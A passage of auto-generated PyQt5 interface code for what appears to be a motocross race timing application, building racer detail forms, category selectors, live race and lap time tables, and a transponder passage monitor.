self.T_Racer_Race.setObjectName("T_Racer_Race") self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) self.gridLayout_3.setContentsMargins(6, 0, 6, 0) self.gridLayout_3.setHorizontalSpacing(4) self.gridLayout_3.setVerticalSpacing(0) self.gridLayout_3.setObjectName("gridLayout_3") self.horizontalLayout_7 = QtWidgets.QHBoxLayout() self.horizontalLayout_7.setObjectName("horizontalLayout_7") self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) self.label_33.setEnabled(True) self.label_33.setMaximumSize(QtCore.QSize(80, 60)) font = QtGui.QFont() font.setPointSize(10) font.setBold(False) font.setWeight(50) font.setKerning(True) self.label_33.setFont(font) self.label_33.setToolTip("") self.label_33.setStatusTip("") self.label_33.setAccessibleName("") self.label_33.setAccessibleDescription("") self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) self.label_33.setObjectName("label_33") self.horizontalLayout_7.addWidget(self.label_33) self.RR_findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget_3) self.RR_findNumber.setMaximumSize(QtCore.QSize(100, 60)) font = QtGui.QFont() font.setKerning(True) self.RR_findNumber.setFont(font) self.RR_findNumber.setMouseTracking(True) self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) self.RR_findNumber.setAcceptDrops(False) self.RR_findNumber.setToolTip("") self.RR_findNumber.setStatusTip("") self.RR_findNumber.setAccessibleName("") self.RR_findNumber.setAccessibleDescription("") self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) self.RR_findNumber.setInputMask("") self.RR_findNumber.setText("") self.RR_findNumber.setMaxLength(5) self.RR_findNumber.setPlaceholderText("") self.RR_findNumber.setObjectName("RR_findNumber") self.horizontalLayout_7.addWidget(self.RR_findNumber) self.gridLayout_3.addLayout(self.horizontalLayout_7, 0, 0, 1, 1) self.L_RList = QtWidgets.QListWidget(self.T_Racer_Race) self.L_RList.setGeometry(QtCore.QRect(0, 0, 256, 491)) font = QtGui.QFont() font.setFamily("Bitstream Charter") font.setPointSize(10) font.setBold(False) font.setItalic(False) font.setWeight(50) font.setKerning(False) self.L_RList.setFont(font) self.L_RList.setMouseTracking(True) self.L_RList.setAcceptDrops(True) self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) self.L_RList.setDefaultDropAction(QtCore.Qt.CopyAction) self.L_RList.setProperty("isWrapping", False) self.L_RList.setViewMode(QtWidgets.QListView.ListMode) self.L_RList.setModelColumn(0) self.L_RList.setObjectName("L_RList") self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) self.formLayoutWidget_3.setObjectName("formLayoutWidget_3") self.formLayout_3 = QtWidgets.QFormLayout(self.formLayoutWidget_3) self.formLayout_3.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) self.formLayout_3.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) self.formLayout_3.setContentsMargins(0, 0, 0, 0) self.formLayout_3.setVerticalSpacing(2) self.formLayout_3.setObjectName("formLayout_3") self.label_34 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_34.setObjectName("label_34") self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label_34) self.RR_lastname = QtWidgets.QLineEdit(self.formLayoutWidget_3) self.RR_lastname.setMinimumSize(QtCore.QSize(420, 0)) self.RR_lastname.setMouseTracking(False) self.RR_lastname.setAcceptDrops(False) self.RR_lastname.setToolTip("") self.RR_lastname.setStatusTip("") self.RR_lastname.setAccessibleName("") self.RR_lastname.setAccessibleDescription("") self.RR_lastname.setInputMask("") self.RR_lastname.setText("R_LastName") self.RR_lastname.setFrame(False) self.RR_lastname.setReadOnly(True) self.RR_lastname.setPlaceholderText("") self.RR_lastname.setObjectName("RR_lastname") self.formLayout_3.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.RR_lastname) self.label_35 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_35.setObjectName("label_35") self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_35) self.RR_firstname = QtWidgets.QLineEdit(self.formLayoutWidget_3) self.RR_firstname.setMinimumSize(QtCore.QSize(420, 0)) self.RR_firstname.setMouseTracking(False) self.RR_firstname.setAcceptDrops(False) self.RR_firstname.setToolTip("") self.RR_firstname.setStatusTip("") self.RR_firstname.setAccessibleName("") self.RR_firstname.setAccessibleDescription("") self.RR_firstname.setText("R_FirstName") self.RR_firstname.setFrame(False) self.RR_firstname.setReadOnly(True) self.RR_firstname.setPlaceholderText("") self.RR_firstname.setObjectName("RR_firstname") self.formLayout_3.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.RR_firstname) self.label_37 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_37.setObjectName("label_37") self.formLayout_3.setWidget(3, QtWidgets.QFormLayout.LabelRole, self.label_37) self.horizontalLayout_8 = QtWidgets.QHBoxLayout() self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) self.horizontalLayout_8.setSpacing(2) self.horizontalLayout_8.setObjectName("horizontalLayout_8") self.RR_Npa = QtWidgets.QLineEdit(self.formLayoutWidget_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) self.RR_Npa.setSizePolicy(sizePolicy) self.RR_Npa.setMouseTracking(False) self.RR_Npa.setAcceptDrops(False) self.RR_Npa.setToolTip("") self.RR_Npa.setStatusTip("") self.RR_Npa.setAccessibleName("") self.RR_Npa.setAccessibleDescription("") self.RR_Npa.setInputMask("") self.RR_Npa.setText("R_Npa") self.RR_Npa.setMaxLength(9) self.RR_Npa.setFrame(False) self.RR_Npa.setReadOnly(True) self.RR_Npa.setPlaceholderText("") self.RR_Npa.setObjectName("RR_Npa") self.horizontalLayout_8.addWidget(self.RR_Npa) self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) self.RR_City.setMouseTracking(False) self.RR_City.setAcceptDrops(False) self.RR_City.setToolTip("") self.RR_City.setStatusTip("") self.RR_City.setAccessibleName("") self.RR_City.setAccessibleDescription("") self.RR_City.setInputMask("") self.RR_City.setText("R_Localité") self.RR_City.setFrame(False) self.RR_City.setReadOnly(True) self.RR_City.setPlaceholderText("") self.RR_City.setObjectName("RR_City") self.horizontalLayout_8.addWidget(self.RR_City) self.formLayout_3.setLayout(3, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_8) self.label_38 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_38.setObjectName("label_38") self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.LabelRole, self.label_38) self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) self.RR_Pays.setToolTip("") self.RR_Pays.setStatusTip("") self.RR_Pays.setAccessibleName("") self.RR_Pays.setAccessibleDescription("") self.RR_Pays.setObjectName("RR_Pays") self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) self.label_39 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_39.setObjectName("label_39") self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.LabelRole, self.label_39) self.RR_date = QtWidgets.QDateEdit(self.formLayoutWidget_3) self.RR_date.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) self.RR_date.setToolTip("") self.RR_date.setStatusTip("") self.RR_date.setAccessibleName("") self.RR_date.setAccessibleDescription("") self.RR_date.setInputMethodHints(QtCore.Qt.ImhNone) self.RR_date.setFrame(False) self.RR_date.setReadOnly(True) self.RR_date.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons) self.RR_date.setSpecialValueText("") self.RR_date.setKeyboardTracking(False) self.RR_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) self.RR_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) self.RR_date.setCalendarPopup(False) self.RR_date.setObjectName("RR_date") self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.FieldRole, self.RR_date) self.label_45 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_45.setObjectName("label_45") self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.LabelRole, self.label_45) self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) self.RR_number.setMouseTracking(False) self.RR_number.setAcceptDrops(False) self.RR_number.setToolTip("") self.RR_number.setStatusTip("") self.RR_number.setAccessibleName("") self.RR_number.setAccessibleDescription("") self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) self.RR_number.setInputMask("") self.RR_number.setText("00000") self.RR_number.setMaxLength(5) self.RR_number.setFrame(False) self.RR_number.setReadOnly(True) self.RR_number.setPlaceholderText("") self.RR_number.setObjectName("RR_number") self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) self.label_46 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_46.setObjectName("label_46") self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_46) self.RR_licences = QtWidgets.QLineEdit(self.formLayoutWidget_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.RR_licences.sizePolicy().hasHeightForWidth()) self.RR_licences.setSizePolicy(sizePolicy) self.RR_licences.setMinimumSize(QtCore.QSize(420, 0)) self.RR_licences.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) self.RR_licences.setMouseTracking(False) self.RR_licences.setAcceptDrops(False) self.RR_licences.setToolTip("") self.RR_licences.setStatusTip("") self.RR_licences.setAccessibleName("") self.RR_licences.setAccessibleDescription("") self.RR_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) self.RR_licences.setInputMask("") self.RR_licences.setText("Licences") self.RR_licences.setFrame(False) self.RR_licences.setReadOnly(True) self.RR_licences.setPlaceholderText("") self.RR_licences.setObjectName("RR_licences") self.formLayout_3.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.RR_licences) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.formLayout_3.setItem(21, QtWidgets.QFormLayout.SpanningRole, spacerItem1) self.label_47 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_47.setObjectName("label_47") self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_47) self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) self.RR_transponder.setToolTip("") self.RR_transponder.setStatusTip("") self.RR_transponder.setAccessibleName("") self.RR_transponder.setAccessibleDescription("") self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) self.RR_transponder.setText("0000000000") self.RR_transponder.setMaxLength(12) self.RR_transponder.setPlaceholderText("") self.RR_transponder.setObjectName("RR_transponder") self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) self.label_48 = QtWidgets.QLabel(self.formLayoutWidget_3) self.label_48.setObjectName("label_48") self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.LabelRole, self.label_48) self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) self.RR_Categorie.setToolTip("") self.RR_Categorie.setStatusTip("") self.RR_Categorie.setAccessibleName("") self.RR_Categorie.setAccessibleDescription("") self.RR_Categorie.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) self.RR_Categorie.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) self.RR_Categorie.setHeaderHidden(False) self.RR_Categorie.setExpandsOnDoubleClick(True) self.RR_Categorie.setObjectName("RR_Categorie") item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) self.RR_Categorie.topLevelItem(0).setText(0, "MX1") item_0.setToolTip(0, "") item_0.setStatusTip(0, "") item_0.setCheckState(0, QtCore.Qt.Unchecked) item_0.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) item_1 = QtWidgets.QTreeWidgetItem(item_0) self.RR_Categorie.topLevelItem(0).child(0).setText(0, "Top") item_1.setToolTip(0, "") item_1.setStatusTip(0, "") item_1.setWhatsThis(0, "") item_1.setCheckState(0, QtCore.Qt.Unchecked) item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) item_1 = QtWidgets.QTreeWidgetItem(item_0) self.RR_Categorie.topLevelItem(0).child(1).setText(0, "Pro") item_1.setToolTip(0, "") item_1.setStatusTip(0, "") item_1.setWhatsThis(0, "") item_1.setCheckState(0, QtCore.Qt.Unchecked) item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) item_1 = QtWidgets.QTreeWidgetItem(item_0) self.RR_Categorie.topLevelItem(0).child(2).setText(0, "Cartons") item_1.setToolTip(0, "") item_1.setStatusTip(0, "") item_1.setWhatsThis(0, "") item_1.setCheckState(0, QtCore.Qt.Unchecked) item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) self.RR_Categorie.topLevelItem(1).setText(0, "Mini") item_0.setToolTip(0, "") item_0.setStatusTip(0, "") item_0.setWhatsThis(0, "") item_0.setCheckState(0, QtCore.Qt.Unchecked) item_1 = QtWidgets.QTreeWidgetItem(item_0) self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") item_1.setToolTip(0, "") item_1.setStatusTip(0, "") item_1.setCheckState(0, QtCore.Qt.Unchecked) self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.FieldRole, self.RR_Categorie) self.Tab_Container.addTab(self.T_Racer_Race, "") self.T_RaceModel = QtWidgets.QWidget() self.T_RaceModel.setObjectName("T_RaceModel") self.Tab_Container.addTab(self.T_RaceModel, "") self.T_Race = QtWidgets.QWidget() self.T_Race.setObjectName("T_Race") self.toolBox = QtWidgets.QToolBox(self.T_Race) self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.toolBox.sizePolicy().hasHeightForWidth()) self.toolBox.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setPointSize(8) self.toolBox.setFont(font) self.toolBox.setToolTip("") self.toolBox.setStatusTip("") self.toolBox.setAccessibleName("") self.toolBox.setAccessibleDescription("") self.toolBox.setObjectName("toolBox") self.P_Race = QtWidgets.QWidget() self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.P_Race.sizePolicy().hasHeightForWidth()) self.P_Race.setSizePolicy(sizePolicy) self.P_Race.setToolTip("") self.P_Race.setStatusTip("") self.P_Race.setAccessibleName("") self.P_Race.setAccessibleDescription("") self.P_Race.setObjectName("P_Race") self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) self.verticalLayoutWidget_2.setObjectName("verticalLayoutWidget_2") self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) self.verticalLayout_P_Race.setSpacing(1) self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") self.horizontalLayout_4 = QtWidgets.QHBoxLayout() self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) self.horizontalLayout_4.setSpacing(2) self.horizontalLayout_4.setObjectName("horizontalLayout_4") self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) self.PB_TimeRace.setEnabled(True) self.PB_TimeRace.setToolTip("") self.PB_TimeRace.setStatusTip("") self.PB_TimeRace.setAccessibleName("") self.PB_TimeRace.setAccessibleDescription("") self.PB_TimeRace.setMaximum(1) self.PB_TimeRace.setProperty("value", 1) self.PB_TimeRace.setTextVisible(True) self.PB_TimeRace.setFormat("Waiting for start") self.PB_TimeRace.setObjectName("PB_TimeRace") self.horizontalLayout_4.addWidget(self.PB_TimeRace) self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) self.B_Define.setToolTip("") self.B_Define.setStatusTip("") self.B_Define.setAccessibleName("") self.B_Define.setAccessibleDescription("") self.B_Define.setFrame(True) self.B_Define.setObjectName("B_Define") self.B_Define.addItem("") self.B_Define.addItem("") self.B_Define.addItem("") self.horizontalLayout_4.addWidget(self.B_Define) self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) self.B_Start.setToolTip("") self.B_Start.setStatusTip("") self.B_Start.setAccessibleName("") self.B_Start.setAccessibleDescription("") self.B_Start.setObjectName("B_Start") self.horizontalLayout_4.addWidget(self.B_Start) self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) self.B_Stop.setEnabled(False) self.B_Stop.setToolTip("") self.B_Stop.setStatusTip("") self.B_Stop.setAccessibleName("") self.B_Stop.setAccessibleDescription("") self.B_Stop.setObjectName("B_Stop") self.horizontalLayout_4.addWidget(self.B_Stop) self.verticalLayout_P_Race.addLayout(self.horizontalLayout_4) self.R_RaceLive = QtWidgets.QTableWidget(self.verticalLayoutWidget_2) self.R_RaceLive.setToolTip("") self.R_RaceLive.setStatusTip("") self.R_RaceLive.setAccessibleName("") self.R_RaceLive.setAccessibleDescription("") self.R_RaceLive.setFrameShape(QtWidgets.QFrame.NoFrame) self.R_RaceLive.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) self.R_RaceLive.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) self.R_RaceLive.setTabKeyNavigation(False) self.R_RaceLive.setProperty("showDropIndicator", False) self.R_RaceLive.setDragDropOverwriteMode(False) self.R_RaceLive.setAlternatingRowColors(True) self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) self.R_RaceLive.setRowCount(0) self.R_RaceLive.setColumnCount(7) self.R_RaceLive.setObjectName("R_RaceLive") item = QtWidgets.QTableWidgetItem() item.setText("Sorting") self.R_RaceLive.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.R_RaceLive.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive.setHorizontalHeaderItem(3, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive.setHorizontalHeaderItem(4, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive.setHorizontalHeaderItem(5, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive.setHorizontalHeaderItem(6, item) self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) self.R_RaceLive.horizontalHeader().setStretchLastSection(False) self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) self.R_RaceLive.verticalHeader().setStretchLastSection(False) self.verticalLayout_P_Race.addWidget(self.R_RaceLive) self.toolBox.addItem(self.P_Race, "") self.P_Laptime = QtWidgets.QWidget() self.P_Laptime.setGeometry(QtCore.QRect(0, 0, 821, 477)) self.P_Laptime.setObjectName("P_Laptime") self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) self.verticalLayout_P_Laptime.setSpacing(1) self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") self.horizontalLayout_5 = QtWidgets.QHBoxLayout() self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) self.horizontalLayout_5.setSpacing(1) self.horizontalLayout_5.setObjectName("horizontalLayout_5") self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) self.PB_TimeRace_2.setEnabled(True) self.PB_TimeRace_2.setToolTip("") self.PB_TimeRace_2.setStatusTip("") self.PB_TimeRace_2.setAccessibleName("") self.PB_TimeRace_2.setAccessibleDescription("") self.PB_TimeRace_2.setMaximum(1) self.PB_TimeRace_2.setProperty("value", 1) self.PB_TimeRace_2.setTextVisible(True) self.PB_TimeRace_2.setFormat("Waiting for start") self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) self.B_Define_2.setToolTip("") self.B_Define_2.setStatusTip("") self.B_Define_2.setAccessibleName("") self.B_Define_2.setAccessibleDescription("") self.B_Define_2.setFrame(True) self.B_Define_2.setObjectName("B_Define_2") self.B_Define_2.addItem("") self.B_Define_2.addItem("") self.B_Define_2.addItem("") self.horizontalLayout_5.addWidget(self.B_Define_2) self.B_Stop_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) self.B_Stop_2.setEnabled(False) self.B_Stop_2.setToolTip("") self.B_Stop_2.setStatusTip("") self.B_Stop_2.setAccessibleName("") self.B_Stop_2.setAccessibleDescription("") self.B_Stop_2.setObjectName("B_Stop_2") self.horizontalLayout_5.addWidget(self.B_Stop_2) self.B_Start_2 = QtWidgets.QPushButton(self.verticalLayoutWidget_3) self.B_Start_2.setToolTip("") self.B_Start_2.setStatusTip("") self.B_Start_2.setAccessibleName("") self.B_Start_2.setAccessibleDescription("") self.B_Start_2.setObjectName("B_Start_2") self.horizontalLayout_5.addWidget(self.B_Start_2) self.verticalLayout_P_Laptime.addLayout(self.horizontalLayout_5) self.R_RaceLive_2 = QtWidgets.QTableWidget(self.verticalLayoutWidget_3) self.R_RaceLive_2.setToolTip("") self.R_RaceLive_2.setStatusTip("") self.R_RaceLive_2.setAccessibleName("") self.R_RaceLive_2.setAccessibleDescription("") self.R_RaceLive_2.setFrameShape(QtWidgets.QFrame.NoFrame) self.R_RaceLive_2.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) self.R_RaceLive_2.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) self.R_RaceLive_2.setTabKeyNavigation(False) self.R_RaceLive_2.setProperty("showDropIndicator", False) self.R_RaceLive_2.setDragDropOverwriteMode(False) self.R_RaceLive_2.setAlternatingRowColors(True) self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) self.R_RaceLive_2.setRowCount(0) self.R_RaceLive_2.setColumnCount(7) self.R_RaceLive_2.setObjectName("R_RaceLive_2") item = QtWidgets.QTableWidgetItem() item.setText("Sorting") self.R_RaceLive_2.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.R_RaceLive_2.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive_2.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive_2.setHorizontalHeaderItem(3, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive_2.setHorizontalHeaderItem(4, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive_2.setHorizontalHeaderItem(5, item) item = QtWidgets.QTableWidgetItem() self.R_RaceLive_2.setHorizontalHeaderItem(6, item) self.R_RaceLive_2.horizontalHeader().setDefaultSectionSize(100) self.R_RaceLive_2.horizontalHeader().setSortIndicatorShown(False) self.R_RaceLive_2.horizontalHeader().setStretchLastSection(False) self.R_RaceLive_2.verticalHeader().setDefaultSectionSize(15) self.R_RaceLive_2.verticalHeader().setStretchLastSection(False) self.verticalLayout_P_Laptime.addWidget(self.R_RaceLive_2) self.toolBox.addItem(self.P_Laptime, "") self.Tab_Container.addTab(self.T_Race, "") self.T_Results = QtWidgets.QWidget() self.T_Results.setObjectName("T_Results") self.Tab_Container.addTab(self.T_Results, "") self.T_Monitor = QtWidgets.QWidget() self.T_Monitor.setToolTip("") self.T_Monitor.setStatusTip("") self.T_Monitor.setAccessibleName("") self.T_Monitor.setAccessibleDescription("") self.T_Monitor.setObjectName("T_Monitor") self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName("verticalLayout") self.horizontalLayout_9 = QtWidgets.QHBoxLayout() self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) self.horizontalLayout_9.setObjectName("horizontalLayout_9") self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) self.TM_T_passage.setSizePolicy(sizePolicy) self.TM_T_passage.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) font = QtGui.QFont() font.setPointSize(8) self.TM_T_passage.setFont(font) self.TM_T_passage.setToolTip("") self.TM_T_passage.setStatusTip("") self.TM_T_passage.setAccessibleName("") self.TM_T_passage.setAccessibleDescription("") self.TM_T_passage.setAutoFillBackground(False) self.TM_T_passage.setFrameShape(QtWidgets.QFrame.StyledPanel) self.TM_T_passage.setFrameShadow(QtWidgets.QFrame.Sunken) self.TM_T_passage.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) self.TM_T_passage.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContentsOnFirstShow) self.TM_T_passage.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) self.TM_T_passage.setTabKeyNavigation(False) self.TM_T_passage.setProperty("showDropIndicator", False) self.TM_T_passage.setDragDropOverwriteMode(False) self.TM_T_passage.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) self.TM_T_passage.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectRows) self.TM_T_passage.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerItem) self.TM_T_passage.setWordWrap(False) self.TM_T_passage.setCornerButtonEnabled(False) self.TM_T_passage.setRowCount(40) self.TM_T_passage.setObjectName("TM_T_passage") self.TM_T_passage.setColumnCount(6) item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignCenter) font = QtGui.QFont() font.setFamily("DejaVu Sans") font.setPointSize(8) font.setBold(True) font.setWeight(75) item.setFont(font) self.TM_T_passage.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignCenter) font = QtGui.QFont() font.setBold(True) font.setWeight(75) item.setFont(font) self.TM_T_passage.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignCenter) font = QtGui.QFont() font.setBold(True) font.setWeight(75) item.setFont(font) self.TM_T_passage.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignCenter) font = QtGui.QFont() font.setBold(True) font.setWeight(75) item.setFont(font) self.TM_T_passage.setHorizontalHeaderItem(3, item) item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignCenter) font = QtGui.QFont() font.setBold(True) font.setWeight(75) item.setFont(font) self.TM_T_passage.setHorizontalHeaderItem(4, item) item = QtWidgets.QTableWidgetItem() item.setTextAlignment(QtCore.Qt.AlignCenter) font = 